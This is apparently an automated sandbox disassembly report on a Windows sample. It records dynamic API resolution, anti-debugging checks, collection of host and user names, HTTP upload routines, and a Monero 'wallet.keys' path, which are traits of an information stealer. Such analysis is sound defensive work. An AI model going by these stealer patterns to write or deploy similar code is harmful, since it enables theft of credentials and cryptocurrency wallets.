LoadLibraryA.KERNEL32(007B0870,?,008C6A00), ref: 008C9ACF
LoadLibraryA.KERNEL32(007B0888,?,008C6A00), ref: 008C9AE0
GetProcAddress.KERNEL32(76DA0000,007B08A0), ref: 008C9B02
GetProcAddress.KERNEL32(75840000,007B08B8), ref: 008C9B23
GetProcAddress.KERNEL32(75840000,007B8E68), ref: 008C9B3B
GetProcAddress.KERNEL32(753A0000,007B8D30), ref: 008C9B5D
GetProcAddress.KERNEL32(77300000,007A6340), ref: 008C9B7E
GetProcAddress.KERNEL32(774D0000,007B89E8), ref: 008C9B9F
GetProcAddress.KERNEL32(774D0000,NtQueryInformationProcess), ref: 008C9BB6

Strings

`cz, xrefs: 008C993E
bz, xrefs: 008C9A7B
NtQueryInformationProcess, xrefs: 008C9BAA
@cz, xrefs: 008C9B71
@dz, xrefs: 008C9926

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: bz$@cz$@dz$NtQueryInformationProcess$`cz
API String ID: 2238633743-4183257078
Opcode ID: d8fad22eec35de99e584ca8ed679c8becd86fbbc8a08cbbdd197a5753f1746f7
Instruction ID: b97f877214e1f3ceb7ae826b7c3eb6273095f67e1304805283b69de7f9ec39ca
Opcode Fuzzy Hash: d8fad22eec35de99e584ca8ed679c8becd86fbbc8a08cbbdd197a5753f1746f7
Instruction Fuzzy Hash: 8AA11CF66002419FD344EFE9ED88EF677F9F768381704851AA60DC3264D679A843CB92

Function 008B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 008B460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 008B479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008B4770

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 92cb8141e72b4fbfc1e7b1fab95b841adc14196f8c5edee2eedfeebf2d26a1b1
Instruction ID: 39e52d6ccc9f641453cad8f004a839c03eecf0cab7dd3f83c2c1f474e6f07854
Opcode Fuzzy Hash: 92cb8141e72b4fbfc1e7b1fab95b841adc14196f8c5edee2eedfeebf2d26a1b1
Instruction Fuzzy Hash: F94178A17C1604FAE676B7A4A84ED9D7352FFCA709F806143ED60923C4DFB4650047B1

Function 008B4880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008B4839
Part of subcall function 008B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008B4849

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008B4915
StrCmpCA.SHLWAPI(?,007BE270), ref: 008B493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008B4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,008D0DDB,00000000,?,?,00000000,?,",00000000,?,007BE250), ref: 008B4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008B4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 008B4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 008B4E49
InternetCloseHandle.WININET(00000000), ref: 008B4EAD
InternetCloseHandle.WININET(00000000), ref: 008B4EC5
HttpOpenRequestA.WININET(00000000,007BE2F0,?,007BD9C8,00000000,00000000,00400100,00000000), ref: 008B4B15

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

InternetCloseHandle.WININET(00000000), ref: 008B4ECF

Strings

------, xrefs: 008B4C69
p{, xrefs: 008B4BC9
------, xrefs: 008B49BD
p{, xrefs: 008B492F
P{, xrefs: 008B4D0A
", xrefs: 008B4D33
------, xrefs: 008B4B28
", xrefs: 008B4BF2

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$P{$p{$p{
API String ID: 460715078-799811875
Opcode ID: 1336d73ae642df7dcd55c386020f356a5477235d8036634a24e0cb6d6486dbde
Instruction ID: 8ca2b7abe8341718c3fbd10aa5d476ee3e2c4795d8dcfcaf280c7955ff6d247c
Opcode Fuzzy Hash: 1336d73ae642df7dcd55c386020f356a5477235d8036634a24e0cb6d6486dbde
Instruction Fuzzy Hash: D312D77191011CABDB19EB94DC92FEEB738FF14304F5041ADB106A2191EF70AE4ACB66

Function 008C78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7910
RtlAllocateHeap.NTDLL(00000000), ref: 008C7917
GetComputerNameA.KERNEL32(?,00000104), ref: 008C792F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 4c99ba31c83c2c8bd6a77c54cc4b5db9052699eaa404cfcaa99e35e84e07aa9e
Instruction ID: f4defaada655af7f12af43a9b046d29e705d0eb836013aefa6f71268206d04fb
Opcode Fuzzy Hash: 4c99ba31c83c2c8bd6a77c54cc4b5db9052699eaa404cfcaa99e35e84e07aa9e
Instruction Fuzzy Hash: 300162B1904208EFC700DFD4DD45FAABBB8F704B65F10421AE645E3280C37899048BA2

Function 008C7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008B11B7), ref: 008C7880
RtlAllocateHeap.NTDLL(00000000), ref: 008C7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 008C789F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a4659f8cc279dfe576117fc08005c36e9efa1fdea9c4a9703c628bb7cc188f0e
Instruction ID: 18b7fdbf3f84bde9a791c870757a9906fbafadcc40661f20ba772241088a4668
Opcode Fuzzy Hash: a4659f8cc279dfe576117fc08005c36e9efa1fdea9c4a9703c628bb7cc188f0e
Instruction Fuzzy Hash: 5CF031F2944208ABC700DFD5DD45FAABBB8F704761F100159EA15E3680C7745505CBE1

Function 008B1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 008B116A
ExitProcess.KERNEL32 ref: 008B117E

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5760a82d0353ef4dfb14b6dcf94d1a90e623fc905af204f753b94296d4a0e7da
Instruction ID: 8880b55551bbd97dd5c49863cc53bcfc2e3852857854d0aa7bc7184f0bf82863
Opcode Fuzzy Hash: 5760a82d0353ef4dfb14b6dcf94d1a90e623fc905af204f753b94296d4a0e7da
Instruction Fuzzy Hash: C8D05EB490030CDBCB00EFE0D849AEDBB78FB08311F001554D909B2340EA306482CBA6

Function 008C9C10 Relevance: 233.4, APIs: 112, Strings: 21, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76F70000,007A63E0), ref: 008C9C2D
GetProcAddress.KERNEL32(76F70000,007A65A0), ref: 008C9C45
GetProcAddress.KERNEL32(76F70000,007B8F70), ref: 008C9C5E
GetProcAddress.KERNEL32(76F70000,007B8EE0), ref: 008C9C76
GetProcAddress.KERNEL32(76F70000,007BC798), ref: 008C9C8E
GetProcAddress.KERNEL32(76F70000,007BC780), ref: 008C9CA7
GetProcAddress.KERNEL32(76F70000,007AB0F8), ref: 008C9CBF
GetProcAddress.KERNEL32(76F70000,007BC7E0), ref: 008C9CD7
GetProcAddress.KERNEL32(76F70000,007BC7B0), ref: 008C9CF0
GetProcAddress.KERNEL32(76F70000,007BC660), ref: 008C9D08
GetProcAddress.KERNEL32(76F70000,007BC768), ref: 008C9D20
GetProcAddress.KERNEL32(76F70000,007A6320), ref: 008C9D39
GetProcAddress.KERNEL32(76F70000,007A6240), ref: 008C9D51
GetProcAddress.KERNEL32(76F70000,007A6520), ref: 008C9D69
GetProcAddress.KERNEL32(76F70000,007A6400), ref: 008C9D82
GetProcAddress.KERNEL32(76F70000,007BC750), ref: 008C9D9A
GetProcAddress.KERNEL32(76F70000,007BC678), ref: 008C9DB2
GetProcAddress.KERNEL32(76F70000,007AB238), ref: 008C9DCB
GetProcAddress.KERNEL32(76F70000,007A6420), ref: 008C9DE3
GetProcAddress.KERNEL32(76F70000,007BC7C8), ref: 008C9DFB
GetProcAddress.KERNEL32(76F70000,007BC630), ref: 008C9E14
GetProcAddress.KERNEL32(76F70000,007BC6C0), ref: 008C9E2C
GetProcAddress.KERNEL32(76F70000,007BC648), ref: 008C9E44
GetProcAddress.KERNEL32(76F70000,007A6460), ref: 008C9E5D
GetProcAddress.KERNEL32(76F70000,007BC690), ref: 008C9E75
GetProcAddress.KERNEL32(76F70000,007BC6A8), ref: 008C9E8D
GetProcAddress.KERNEL32(76F70000,007BC6D8), ref: 008C9EA6
GetProcAddress.KERNEL32(76F70000,007BC708), ref: 008C9EBE
GetProcAddress.KERNEL32(76F70000,007BC6F0), ref: 008C9ED6
GetProcAddress.KERNEL32(76F70000,007BC720), ref: 008C9EEF
GetProcAddress.KERNEL32(76F70000,007BC738), ref: 008C9F07
GetProcAddress.KERNEL32(76F70000,007BC2B8), ref: 008C9F1F
GetProcAddress.KERNEL32(76F70000,007BC120), ref: 008C9F38
GetProcAddress.KERNEL32(76F70000,007BCEC8), ref: 008C9F50
GetProcAddress.KERNEL32(76F70000,007BC030), ref: 008C9F68
GetProcAddress.KERNEL32(76F70000,007BC258), ref: 008C9F81
GetProcAddress.KERNEL32(76F70000,007A6480), ref: 008C9F99
GetProcAddress.KERNEL32(76F70000,007BC1F8), ref: 008C9FB1
GetProcAddress.KERNEL32(76F70000,007A64A0), ref: 008C9FCA
GetProcAddress.KERNEL32(76F70000,007BC210), ref: 008C9FE2
GetProcAddress.KERNEL32(76F70000,007BC0C0), ref: 008C9FFA
GetProcAddress.KERNEL32(76F70000,007A64C0), ref: 008CA013
GetProcAddress.KERNEL32(76F70000,007A6580), ref: 008CA02B
LoadLibraryA.KERNEL32(007BC270,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA03D
LoadLibraryA.KERNEL32(007BC228,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA04E
LoadLibraryA.KERNEL32(007BC240,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA060
LoadLibraryA.KERNEL32(007BC288,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA072
LoadLibraryA.KERNEL32(007BC0D8,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA083
